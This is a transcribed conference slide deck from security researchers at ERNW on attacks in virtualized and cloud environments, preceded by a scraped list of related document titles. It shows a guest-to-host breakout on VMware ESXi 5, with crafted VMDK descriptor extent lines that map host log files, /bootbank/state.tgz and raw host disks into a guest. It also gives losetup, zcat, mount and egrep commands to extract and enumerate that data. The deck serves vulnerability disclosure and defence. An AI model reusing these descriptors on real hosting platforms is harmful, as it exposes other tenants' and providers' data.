From Hypervisors to Clouds



Similar documents
VMDK Has Left the Building

Compromise-as-a-Service

VMware vsphere-6.0 Administration Training

Enterprise Cloud VM Image Import User Guide. Version 1.0

Virtually Pwned Pentesting VMware. Claudio

VMware vsphere 5.0 Boot Camp

RUNNING vtvax FOR WINDOWS

Virtual Computing and VMWare. Module 4

Measuring Hypervisor Footprints: Assessing Risk

VMware vsphere 5.1 Advanced Administration

Install Guide for JunosV Wireless LAN Controller

PassTest. Bessere Qualität, bessere Dienstleistungen!

BLACK BOX. Quick Start Guide. Virtual Central Management System (VCMS) Works with LES Series Console Servers. LES-VCMS. Customer Support Information

Why is a good idea to use OpenNebula in your VMware Infrastructure?

Cedric Rajendran VMware, Inc. Security Hardening vsphere 5.5

IOS110. Virtualization 5/27/2014 1

Migrating to ESXi: How To

VMware vsphere Design. 2nd Edition

Onboarding VMs to Cisco OpenStack Private Cloud

Tenable Webcast Summary Managing Vulnerabilities in Virtualized and Cloud-based Deployments

Enterprise. ESXi in the. VMware ESX and. Planning Deployment of. Virtualization Servers. Edward L. Haletky

Vmware Training. Introduction

VMWARE VSPHERE 5.0 WITH ESXI AND VCENTER

vsphere Private Cloud RAZR s Edge Virtualization and Private Cloud Administration

Mitigating Information Security Risks of Virtualization Technologies

VMWARE Introduction ESX Server Architecture and the design of Virtual Machines

FortiOS Handbook VM Installation for FortiOS 5.0

Using SUSE Cloud to Orchestrate Multiple Hypervisors and Storage at ADP

SCO Virtualization Presentation to Customers

Virtualization. Michael Tsai 2015/06/08

Virtualization and cloud computing monitoring

Getting Started Hacking on OpenNebula

Cookbook Backup, Recovery, Archival (BURA)

EMC Data Domain Management Center

Installing and Administering VMware vsphere Update Manager

Virtualization System Vulnerability Discovery Framework. Speaker: Qinghao Tang Title:360 Marvel Team Leader

Virtual Server Agent v9 with VMware. March 2011

Building a Penetration Testing Virtual Computer Laboratory

JOB ORIENTED VMWARE TRAINING INSTITUTE IN CHENNAI

Windows Server 2012 Hyper-V Virtual Switch Extension Software UNIVERGE PF1000 Overview. IT Network Global Solutions Division UNIVERGE Support Center

ESX System Analyzer Version 1.0 Installation Guide

Vmware VSphere 6.0 Private Cloud Administration

VMware: Advanced Security

How To Create A Cloud Based System For Aaas (Networking)

Cisco Nexus 1000V Virtual Ethernet Module Software Installation Guide, Release 4.0(4)SV1(1)

Virtual Switching Without a Hypervisor for a More Secure Cloud

VMware for Bosch VMS. en Software Manual

ZEN LOAD BALANCER EE v3.04 DATASHEET The Load Balancing made easy

The more laws and order are made prominent, the more thieves and robbers there will be. Lao Tzu

How To Install Vsphere On An Ecx 4 On A Hyperconverged Powerline On A Microsoft Vspheon Vsphee 4 On An Ubuntu Vspheron V2.2.5 On A Powerline

Oracle VM Server Recovery Guide. Version 8.2

Virtualization with Windows

Virtualization possibilities in MikroTik RouterOS

Security. Environments. Dave Shackleford. John Wiley &. Sons, Inc. s j}! '**»* t i j. l:i. in: i««;

HP + Veeam: Fast VMware Recovery from SAN Snapshots

Set Up a VM-Series Firewall on an ESXi Server

VMware vsphere: Install, Configure, Manage [V5.0]

Hypervisor Software and Virtual Machines. Professor Howard Burpee SMCC Computer Technology Dept.

Shavlik NetChk Protect 7.1

Monitoring Databases on VMware

Monitoring Best Practices. Rajib Rashid, VP Product Management Nicolas Ponce, Kaseya University Ronny Tunfjord, Upstream Software

Drobo How-To Guide. Cloud Storage Using Amazon Storage Gateway with Drobo iscsi SAN

Optimization, Business Continuity & Disaster Recovery in Virtual Environments. Darius Spaičys, Partner Business manager Baltic s

Virtual Web Appliance Setup Guide

Directions for VMware Ready Testing for Application Software

Acronis Backup & Recovery 10 Advanced Server Virtual Edition. Quick Start Guide

Forklifting to AWS: An Option for Migration to AWS October Forklifting to AWS: An Option for Migration to AWS

SURFnet Cloud Computing Solutions

13.1 Backup virtual machines running on VMware ESXi / ESX Server

Installation Guide Avi Networks Cloud Application Delivery Platform Integration with Cisco Application Policy Infrastructure

The Incremental Advantage:

Getting the Most Out of Virtualization of Your Progress OpenEdge Environment. Libor Laubacher Principal Technical Support Engineer 8.10.

Setup for Failover Clustering and Microsoft Cluster Service

Virtual Managment Appliance Setup Guide

Bosch Video Management System High availability with VMware

VMware Data Recovery. Administrator's Guide EN

VMware ESXi 3.5 update 2

Running vtserver in a Virtual Machine Environment. Technical Note by AVTware

Install and Configure an ESXi 5.1 Host

Survey of the Operating Landscape Investigating Incidents in the Cloud

In order to upload a VM you need to have a VM image in one of the following formats:

Volume 2, Issue 2, February 2014 International Journal of Advance Research in Computer Science and Management Studies

VMware Cloud Environment

Khóa học dành cho các kỹ sư hệ thống, quản trị hệ thống, kỹ sư vận hành cho các hệ thống ảo hóa ESXi, ESX và vcenter Server

Best Practices for Monitoring Databases on VMware. Dean Richards Senior DBA, Confio Software

VMware vsphere 4.1 with ESXi and vcenter

Intro to Virtualization

Design Implement Troubleshoot. VMware Virtualisation Strategies Private/Public/Hybrid Cloud Computing.

ASM Educational Center (ASM) Est VMS-ICM v5.5 - VMware vsphere: Install, Configure, Manage Training Program

SEP Disaster Recovery and Backup Restore: Best

FortiOS Handbook - VM Installation VERSION 5.2.0

Virtualization and Cloud Computing

VMware for SMB environments(min st year)

How To Use Ecx In A Data Center

VMware Security Briefing. Rob Randell, CISSP Senior Security Specialist SE

Managing, Maintaining Data in a Virtual World

Marco Mantegazza WebSphere Client Technical Professional Team IBM Software Group. Virtualization and Cloud

CLOUD COMPUTING & SECURITY -A PRACTICAL APPROACH

Enabling Technologies for Distributed and Cloud Computing

Course Title: Virtualization Security, 1st Edition

Transcription:

From Hypervisors to Clouds or: How Traditional Security Controls Fail Matthias Luft mluft@ernw.de

Who we are Old-school network geeks, working as security researchers for Germany based ERNW GmbH - Independent - Deep technical knowledge - Structured (assessment) approach - Business reasonable recommendations - We understand corporate Blog: www.insinuator.net Conference: www.troopers.de

Agenda Introduction Attacks in Virtualized Environments Attacks in Cloud Environments

VM VM VM Virtual Environments VM VM VM VM VM VM Hypervisor Layer

Attack Vectors Hypervisor Host VM Hypervisor Layer

Hypervisor Breakout Guest-to-Host 2007: VMftp 2009: VMware Cloudburst 2011: Virtunoid KVM Breakout 2012: VMSA-12-009 2012: Xen Guest-to-Host Escape 10/21/12

Management Interfaces xxxx: SSH Bruteforcing xxxx: SNMP: Guessable Community Strings 2007: VMcat/chat 2009: VMware DoS-by-Telnet 2010: VMware VI Client Update MitM (Vasto) 2010: VMware VM Download (Vasto)

Cloud Environments

Management Interfaces 2007: Amazon Web Service Signature Vulnerability 2011: Key to Your Data Center 2011: All Your Clouds Are Belong To Us 10/21/12

Attack Vectors Hypervisor Host VM Hypervisor Layer

Hypervisor Environment Hypervisor Host VM vnic VM vnic vswitch Physical Switch Hypervisor Layer

BPDU Guard Hypervisor Host VM vnic VM vnic vswitch BPDU Guard Physical Switch Hypervisor Layer

BPDU Guard Desired Behavior Hypervisor Host VM vnic VM vnic BPDU vswitch BPDU Guard Physical Switch Hypervisor Layer

BPDU Guard Actual Behavior Hypervisor Host VM vnic VM vnic BPDU vswitch BPDU Guard Physical Switch Hypervisor Layer

Mitigating Controls Use a real software switch. - Nexus 1000v has an implicit BPDU Filter. Disable BPDU Guard on the physical switch. - Leads to potentially unstable STP Domain. Enable BPDU Filter on the physical Switch. - Could cause a bridging-loop (bridging between two vnics in a VM or between two pnics on the ESX hosts). - Does not solve the actual problem/no logging possible.

We saw 1 2 3 attacks against management interfaces an attack against the host targeting availability abusing traditional security controls. guest-to-host breakouts abusing - driver - internal management interfaces/ functionality 10/21/12

So what s left? Virtual Environment Cloud Environment Virtual machines are hosted on your own host Virtual machines are hosted on the host of another party

So what s left? Virtual Environment Cloud Environment Virtual machines are hosted on your own host Virtual machines are hosted on the host of another party

Virtual Machine Description of the virtual machine - Memory - CPU - Virtual hardware version Hard disk - File containing raw data? Contained in Virtual File Formats

Virtual File Formats Short Overview There s a whole bunch of virtual file formats Relevant Fact: Distinction in - Virtual machine configuration - Virtual disk files

Common Files in VMware World At least the most important ones as for this talk. VMX: virtual machine - Plain-text configuration/description #!/opt/vmware/server/bin/vmware.encoding = "UTF-8" config.version = "8" virtualhw.version = "4" scsi0.present = "TRUE" memsize = "1512"

Common Files in VMware World At least the most important ones as for this talk. VMDK: virtual disk, consisting of two file types: - Descriptor file: # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 [ ] # Extent description RW 33554432 VMFS "machine-flat01.vmdk - The actual disk files containing raw disk data (MBR, partition table, file system, content...)

Cloud Deployment Kudos to Juan Mayer

How Cloud Deployment Works ESXi 5 Host Backend Storage (e.g. SAN) 1) Upload to storage by web interface, FTP, Hypervisor Hypervisor Local HD

How Cloud Deployment Works ESXi 5 Host Backend Storage (e.g. SAN) Hypervisor 2) Copy to Host Hypervisor Local HD

How Cloud Deployment Works ESXi 5 Host Backend Storage (e.g. SAN) Hypervisor 10/21/12 Hypervisor Local HD 3) Cloud Magic!

Sample of Cloud Providers Allowing to Upload VMDKs à We ve not performed any practical testing. Yet. Provider Upload via Upload Validation Further Details & How To s terremark.com Web-Tool Ovf validation, vmdk validation information in ov http://support.theenterprisecloud.com/kb/ default.asp?id=971&lang=1 lunahost.com Web-Tool Not specified http://www.lunahost.com/resources/ FAQsandHowTos.aspx Cloudshare.com Ftp-client Ovf validation recommended but not required Hosting.com Online FTP manager None http://use.cloudshare.com/resources/ common/vm%20_upload_instructions.pdf http://www.hosting.com/support/cloudenterprise/upload-vmdk-and-deploy-vmfrom-control-panel

Lab Setup c) Start VM via SSH/CLI b) Start VM via API Copy malicious VM to backend storage a) Start VM via vcenter 10/21/12 Fully patched environment as of 05/24/2012.

File Inclusion Back to that Descriptor File # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 parentcid=ffffffff isnativesnapshot="no" createtype="vmfs" # Extent description RW 33554432 VMFS "machine-flat01.vmdk

File Inclusion Back to that Descriptor File # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 parentcid=ffffffff isnativesnapshot="no" createtype="vmfs" # Extent description RW 33554432 VMFS "machine-flat01.vmdk RW 0 VMFS /etc/passwd

Inclusion First Try The classic: /etc/passwd RW 33554432 VMFS "machine-flat01.vmdk RW 0 VMFS "/etc/passwd Didn t work ;-)

Inclusion First Try

First Blood Logfile Inclusion

Inclusion of Logs Extend your disk by any gzipped logfile in /scratch/log # Extent description RW 33554432 VMFS "machine-flat.vmdk RW 0 VMFS "/scratch/log/vmkernel.0.gz"

Hypervisor Host VM Hypervisor Layer

Inclusion of Logs Boot up the virtual machine Define the included section of your hard drive $ losetup o $( 33554432 * 512 ) f /dev/sda Extract data $ zcat /dev/loop0 > extracted_logfile

Demo? Yes, please. DEMO

File Inclusion Just to Make this Clear This is a GUEST machine accessing the logfiles of the ESX HOST!

File Inclusion Part 2 Logs are a nice first step! Let s go through some more log files...

Interesting log file /bootbank/state.tgz # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 [ ] # Extent description RW 33554432 VMFS "machine-flat01.vmdk RW 0 VMFS /bootbank/state.tgz à Contains complete backup of /etc!

File Inclusion Just to Make this Clear This is a GUEST machine accessing /etc/ of the ESX HOST!

File Inclusion Part 3 Logfiles, /etc... on the right way. What else can we do? Hard drives/devices in *nix are files, right? à Try to include physical host disks in a guest machine!

Device Inclusion Part 3 Device names on ESXi

Device Inclusion Part 3 Relying on knowledge gathered on the hypervisor! # Disk DescriptorFile version=1 encoding="utf-8" CID=a5c61889 [ ] # Extent description RW 33554432 VMFS "machine-flat01.vmdk RW 8386560 VMFSRAW "/dev/disks/naa. 600508b1001ca97740cc02561658c136:2"

Device Inclusion Include a partition of an enumerated device as follows: # Extent description RW 33554432 VMFS machine-flat.vmdk RW 8386560 VMFSRAW "/dev/disks/naa.600508b1001ca97740cc02561658c136:2 The :2 indicates the partition number, e.g. similar to /dev/sda2 in linux

Device Inclusion Once you made your loop device with the appropriate offset, your are actually able to mount the partition root@attx:~# losetup -v -o 17179869184 -f /dev/sda Loop device is /dev/loop0 root@attx:~# mount /dev/loop0 /mnt/ root@attx:~# ls /mnt/ core downloads log var

Device Inclusion Just to Make this Clear This is a GUEST machine accessing a physical harddrive of the ESX HOST!

Complete Attack Path In Cloud Environments

Prerequisites For Complete Attack Path Files - must be on vmfs partition - must be writable (for hostd?) - must be unlocked, e.g. not reserved by running Vmware ESXi5 hypervisor in use Deployment of externally provided VMDK files is possible Deployment using the VMware API - without further sanitization/input validation/vmdk rewriting.

Attack Path Deploy a virtual machine referencing /scratch/log/hostd.0.gz Access the included /scratch/log/ hostd.0.gz within the guest system and grep for ESXi5 device names Deploy another virtual machine referencing the extracted device names à Enjoy access to all physical hard drives of the hypervisor ;-)

Attack Path Deploy a virtual machine referencing /scratch/log/hostd.0.gz Access the included /scratch/log/ hostd.0.gz within the guest system and grep for ESXi5 device names Deploy another virtual machine referencing the extracted device names à Enjoy access to all physical hard drives of the hypervisor ;-)

Device Enumeration By iterating through logfiles like filename.x.gz one may collect a huge amount of information Looking for Devicenames: $ egrep -o "\w{3,}\.[0-9a-f]{32} deviceenum/hostd.log sort uniq naa.600508b1001ca97740cc02561658c136 naa.600c0ff000109e5b0000000000000000 naa.600c0ff000109e5b52d3104f01000000 naa.600c0ff000109e5b8ee84d4f01000000 naa.600c0ff000109e5b968c4f4f01000000 naa.600c0ff000134edc0000000000000000

Device Inclusion Just to Make this Clear This is a GUEST machine accessing physical harddrive of the ESX HOST without additional knowledge!

There s even more stuff Coming Soon To A Cloud Near You... Hypervisor Denial of Service? Not to be discussed in this talk due to time constraints.

But It s Certainly Doable ;-) 10/21/12

Conclusions New Hypervisor DoS and Guest-to-Host access attacks Re-think traditional security models/controls when it comes to cloud environments! Challenge established trust relationships (like trusting your VMs)

There s never enough time THANK YOU...for yours!